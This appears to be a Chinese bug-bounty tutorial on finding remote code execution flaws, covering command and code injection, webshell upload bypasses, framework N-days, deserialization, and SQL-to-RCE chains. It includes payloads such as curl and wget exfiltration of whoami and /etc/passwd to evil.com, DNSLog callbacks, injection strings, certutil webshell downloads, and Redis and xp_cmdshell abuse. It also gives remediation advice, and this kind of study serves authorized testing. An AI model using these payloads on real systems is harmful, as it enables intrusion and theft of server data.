文章目录引言一、RCE漏洞概述1. RCE漏洞类型2. RCE漏洞危害二、命令注入漏洞挖掘1. 命令注入原理2. 命令注入点识别3. 命令注入测试方法4. 无回显数据外带5. 外网不通的应对三、代码注入漏洞挖掘1. 代码注入原理2. 异常输入测试3. 代码封装格式测试4. 延时测试验证四、文件上传导致RCE1. 文件上传RCE思路2. 上传绕过技巧3. UEditor编辑器案例五、框架漏洞与NDay利用1. 框架识别与历史漏洞2. JS文件分析发现隐藏接口3. 报错信息利用4. 已知漏洞利用技巧六、SQL注入到RCE1. DBA权限利用2. 组合攻击链七、反序列化漏洞1. 反序列化原理2. 测试思路八、其他RCE场景1. 读取功能中的命令注入2. 客户端RCE3. 登录口JNDI注入4. 未授权Redis利用九、实战测试流程标准测试流程测试注意事项十、漏洞危害评估1. 危害等级评定2. 影响危害等级的因素十一、修复建议1. 输入校验2. 避免危险函数3. 反序列化防护4. 框架与组件更新5. 权限控制6. 监控与告警十二、实战心得1. 报错信息是宝藏2. JS文件是宝藏3. 思路可以迁移4. 组合漏洞威力大5. 历史漏洞优先6. 框架识别很重要7. 无回显也有办法8. 内存马更隐蔽9. Windows与Linux差异10. 合规性优先十三、总结⚠️本博文所涉安全渗透测试技术、方法及案例仅用于网络安全技术研究与合规性交流旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前必须获得目标网络 / 系统所有者的明确且书面授权严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。引言RCERemote Code Execution远程代码执行是SRC漏洞挖掘中的皇冠上的明珠是危害等级最高的漏洞类型之一。RCE漏洞允许攻击者在目标服务器上执行任意代码直接获取服务器控制权限。在SRC平台中RCE漏洞通常被评定为严重等级赏金丰厚。然而RCE漏洞的挖掘难度也最高需要测试人员具备深厚的技术功底、敏锐的漏洞嗅觉和灵活的组合思维。本文将系统性地介绍RCE漏洞的挖掘思路、测试方法与实战技巧。一、RCE漏洞概述1. RCE漏洞类型RCE漏洞根据成因可分为以下几类类型成因典型场景命令注入用户输入拼接到系统命令os.system、exec调用代码注入用户输入被动态执行eval、反射调用反序列化反序列化数据触发代码执行Java、PHP、Python反序列化文件上传上传可执行文件WebShell上传框架漏洞已知框架漏洞利用Log4j、Fastjson、Shiro模板注入模板引擎执行代码SSTIJNDI注入JNDI引用加载恶意类Log4j、Fastjson2. RCE漏洞危害完全控制服务器执行任意命令获取系统权限数据完全泄露读取数据库、配置文件、源代码内网渗透入口作为跳板进入内网横向移动持久化后门写入WebShell、内存马维持访问业务瘫痪篡改、删除业务数据二、命令注入漏洞挖掘1. 命令注入原理命令注入是指用户输入被直接拼接到系统命令中执行未做任何过滤或转义。典型漏洞代码defdoLogout(request):hDatarequest.GET spathr/tmpfile/loginfile/str(hData[token])delfilerm -rf %s%(spath)os.system(delfile)# 直接拼接系统命令无任何过滤returnHttpResponse(0)2. 命令注入点识别高危函数清单语言高危函数Pythonos.system、os.popen、subprocess.call、eval、execPHPsystem、exec、shell_exec、passthru、eval、assertJavaRuntime.exec、ProcessBuilder、ScriptEngine.evalNode.jschild_process.exec、eval、Function3. 命令注入测试方法a. 管道符注入测试测试拼接管道符表达两个命令的承接关系token1|whoami token1whoami token1;whoami token1||whoami token1whoami注意实战中要将URL编码为%26防止被解析成参数分隔符。b. 变量包裹测试当管道符被过滤时可使用变量包裹方式token1$(whoami) token111$(whoami) tokenwhoamic. 延时测试确认无回显时通过延时确认命令执行token1sleep 10 token1$(sleep 10)观察响应时间若稳定延时10秒确认命令执行。4. 无回显数据外带当目标无法直接回显命令执行结果时可采用以下外带方法a. DNSLog外带pingwhoami.dnslog.cncurlhttp://dnslog.cn/?data$(whoami)b. HTTP外带curlhttp://evil.com/?data$(whoami)wgethttp://evil.com/?data$(cat/etc/passwd)c. 时间盲注思路外带借鉴SQL盲注思路通过二分法逐字符爆破如果第一位ASCII码大于某值则延时10秒否则立即返回通过二分法缩小范围逐字符还原数据token1if [ $(whoami | cut -c1) \ a ]; then sleep 10; fi5. 外网不通的应对当目标服务器无法访问外网时时间盲注通过延时逐字符提取数据写文件读取将命令执行结果写入Web目录通过HTTP读取报错回显构造错误让命令执行结果出现在错误信息中三、代码注入漏洞挖掘1. 代码注入原理代码注入是指用户输入被动态解析执行通常发生在使用eval、动态脚本引擎等场景。2. 异常输入测试测试思路通过非常规字符输入观察报错信息寻找eval、script等关键字。测试步骤向参数输入特殊字符如[、{、(观察返回包中的错误提示关注错误信息中的eval、script、Expression等关键字若[报错但[]闭合后正常返回暗示存在动态脚本解析3. 代码封装格式测试针对不同后端语言使用对应的代码封装格式Java代码注入[(function(){java.lang.Thread.sleep(5000);return1;})()]Python代码注入__import__(os).system(whoami)PHP代码注入system(whoami);4. 延时测试验证无回显时使用语言对应的延时语句验证代码执行Java:Thread.sleep(5000)Python:time.sleep(5)PHP:sleep(5)四、文件上传导致RCE1. 文件上传RCE思路文件上传是导致RCE的常见路径通过上传WebShell获取服务器权限。测试思路尝试请求体的每个文件名参数如果服务通过rename修改文件名为随机名称则可能存在注入通过ping dnslog的方式验证文件名是否被命令执行关注文件内容是否被解析执行2. 上传绕过技巧后缀绕过黑名单绕过.php5、.phtml、.phps、.cer、.asa白名单绕过.jpg?.cer、.php.jpg、.php%00.jpg解析漏洞IIS、Nginx、Apache解析特性内容绕过图片马GIF89a WebShell内容文件头伪造修改文件Magic Number3. UEditor编辑器案例漏洞场景UEditor编辑器的catchimage接口存在远程抓取图片功能。漏洞思路接口仅校验远程资源后缀前缀未截断URL伪后缀使用xxx.jpg?.cer这种问号截断伪后缀绕过白名单IIS解析特性.cer文件会被ASP.NET引擎解析执行脚本代码最终写入可执行WebShell五、框架漏洞与NDay利用1. 框架识别与历史漏洞测试思路识别目标使用的框架和组件搜索框架的已知历史漏洞验证漏洞是否可利用通过已知漏洞实现RCE常见框架漏洞框架漏洞类型危害Log4jJNDI注入RCEFastjson反序列化RCEShiro反序列化RCESpringSpEL注入RCEJeecBootjmreport组件RCEDjango调试模式信息泄露ThinkPHP代码执行RCE2. JS文件分析发现隐藏接口测试思路当登录框等常规入口无突破点时分析前端JS文件翻JS文件寻找隐藏的后端接口地址拼接路径发现未公开的接口识别框架后查找历史漏洞实战案例思路登录框无突破点 → JS文件分析 → 发现后端接口 → 路径拼接 → 发现jmreport组件 → 识别JeecBoot框架 → 利用历史RCE漏洞 → 注入内存马3. 报错信息利用测试思路构造错误路径触发框架报错从报错信息中提取接口列表、数据库配置、源代码片段审计泄露的源代码寻找命令注入点利用os.system、eval等危险函数实现RCEDjango调试模式利用DEBUGTrue时泄露大量敏感信息可获取1000接口列表可获取数据库用户名、端口等信息可获取部分源代码片段通过代码审计发现命令注入漏洞4. 已知漏洞利用技巧a. 命令长度限制绕过当RCE漏洞存在命令长度限制时使用bat文件分步执行通过certutil下载WebShell到本地再执行下载的WebShellb. Windows环境利用命令用途echo xxx file写入文件certutil.exe -urlcache -split -f url下载文件move file path移动文件dir查看目录注意Windows路径使用反斜杠\不是正斜杠/。c. 内存马技术BCEL ClassLoader注入内存马不易被发现先save注入payload再show触发内存马比文件WebShell更隐蔽六、SQL注入到RCE1. DBA权限利用当SQL注入点具有DBA权限时可通过数据库函数执行系统命令。SQL ServerMSSQLxp_cmdshell扩展存储过程执行系统命令需要SA权限注意可能违规需谨慎MySQLselect xxx into outfile xxx\shell.xx写入WebShell需要FILE权限注意可能违规需谨慎PostgreSQLCOPY ... TO PROGRAM执行系统命令2. 组合攻击链典型攻击链SQL注入 → 获取管理员账号密码 → 后台登录 → 文件上传 → GetShell实战思路通过谷歌Hacking发现未授权访问的页面测试参数注入点确认SQL注入使用sqlmap等工具获取数据库权限提取管理员邮箱和密码弱口令爆破获取后台访问权限寻找文件上传点并绕过限制上传WebShell获取服务器权限七、反序列化漏洞1. 反序列化原理反序列化漏洞是指应用在反序列化用户可控数据时触发恶意代码执行。常见反序列化场景JavaObjectInputStream、Fastjson、Jackson、GsonPHPunserializePythonpickle.NETBinaryFormatter2. 测试思路a. 识别反序列化点关注Cookie、Session中的序列化数据关注API接口的序列化数据传输识别序列化数据格式Java、PHP、Python等b. 构造利用链使用ysoserialJava、phpggcPHP等工具生成Payload根据目标环境选择合适的利用链通过DNSLog、延时等方式验证漏洞c. 常见漏洞组件Apache Commons CollectionsFastjsonJacksonShiro RememberMeLog4j JNDI八、其他RCE场景1. 读取功能中的命令注入场景返回内容是JSON格式可能是后端调用接口读取文件。测试思路当后端通过命令读取文件时可尝试命令注入通过dnslog注入验证命令执行2. 客户端RCE场景客户端应用读取本地文件时未做安全处理。测试思路构造恶意txt文件文件内容包含恶意代码客户端读取时触发代码执行示例Payloadimgsrc1onerroreval(require(child_process).exec(calc.exe))3. 登录口JNDI注入场景登录功能中存在JNDI注入点。测试思路测试登录参数是否触发JNDI lookup构造恶意JNDI服务加载恶意类实现RCE4. 未授权Redis利用场景Redis未授权访问。测试思路检测Redis是否未授权访问通过Redis写入SSH公钥、WebShell通过Redis主从复制RCE九、实战测试流程标准测试流程1. 信息收集识别技术栈、框架、组件 ↓ 2. 接口发现分析JS文件、扫描目录 ↓ 3. 历史漏洞搜索查找框架已知漏洞 ↓ 4. 报错信息分析触发报错获取信息 ↓ 5. 命令注入测试管道符、变量包裹 ↓ 6. 代码注入测试异常输入、延时验证 ↓ 7. 反序列化测试识别序列化点 ↓ 8. 组合攻击SQL注入文件上传等 ↓ 9. 获取权限WebShell、内存马测试注意事项遵守授权范围RCE测试风险高必须在授权范围内进行不破坏系统不执行破坏性命令不删除、篡改数据最小化操作仅验证漏洞存在不过度利用及时清理测试完成后清理WebShell、后门等详细记录完整记录测试过程便于报告编写十、漏洞危害评估1. 危害等级评定危害场景等级说明直接RCE获取服务器权限严重完全控制服务器需组合多个漏洞的RCE严重攻击链复杂但危害严重仅限内网环境的RCE高危内网横向移动需特定条件的RCE中高危视利用难度2. 影响危害等级的因素利用难度无需认证直接RCE危害最高权限范围root/admin权限危害最高影响范围影响整个集群/云平台危害最高数据敏感性涉及核心业务数据危害最高十一、修复建议1. 输入校验对所有用户输入进行严格校验使用白名单机制限制输入字符禁止用户输入包含命令分隔符、特殊字符2. 避免危险函数禁用os.system、eval、exec等危险函数使用参数化命令执行如subprocess的列表参数不直接拼接用户输入到系统命令3. 反序列化防护不反序列化用户可控数据使用白名单机制限制反序列化类升级反序列化组件到安全版本4. 框架与组件更新及时更新框架和组件关注安全公告修复已知漏洞移除不必要的功能和组件5. 权限控制Web服务运行在低权限用户下数据库账户使用最小权限禁用危险扩展存储过程6. 监控与告警监控异常命令执行监控异常文件上传监控异常网络连接十二、实战心得1. 报错信息是宝藏错误信息往往比正常返回更有价值。Django调试模式、Java堆栈信息、PHP错误提示都可能暴露接口列表、源代码、技术栈等关键信息。2. JS文件是宝藏后端接口地址、隐藏路径、API端点都可能隐藏在JS文件中。当常规测试无突破时分析JS文件往往有意外收获。3. 思路可以迁移SQL盲注的思路可以迁移到命令注入上。时间盲注、二分法逐字符爆破等技巧在命令注入无回显时同样适用。4. 组合漏洞威力大单个漏洞可能无法直接利用但通过组合SQL注入 弱口令 文件上传或信息泄露 框架漏洞 内存马可实现完整攻击链。5. 历史漏洞优先发现目标使用已知框架后优先搜索历史漏洞。已知漏洞利用难度低、成功率高是RCE挖掘的高效路径。6. 框架识别很重要识别目标使用的框架、组件、版本后可针对性测试已知漏洞大幅提高RCE挖掘效率。7. 无回显也有办法即使命令执行无回显也可通过DNSLog、HTTP外带、时间盲注等方式获取执行结果。不要因为没有回显就放弃。8. 内存马更隐蔽相比文件WebShell内存马不留文件痕迹不易被检测。但需注意内存马在服务重启后会失效。9. Windows与Linux差异测试时注意操作系统差异Windows使用反斜杠路径、certutil下载Linux使用正斜杠路径、curl/wget下载。10. 合规性优先RCE测试风险最高必须严格遵守授权范围。不执行破坏性命令不获取超出证明漏洞所需的权限和数据。十三、总结RCE漏洞是SRC漏洞挖掘的终极目标也是技术难度最高的漏洞类型。在SRC实战中信息收集要深技术栈、框架、组件、接口、源代码都是RCE挖掘的线索测试思路要广命令注入、代码注入、反序列化、文件上传、框架漏洞多管齐下组合利用要强单个漏洞组合可形成完整攻击链外带方法要多DNSLog、HTTP外带、时间盲注等多种方式应对无回显场景合规意识要强严格遵守授权范围不破坏目标系统通过本文介绍的方法和思路相信读者能建立起完整的RCE漏洞挖掘思维体系在SRC实战中发现更多高质量的严重漏洞。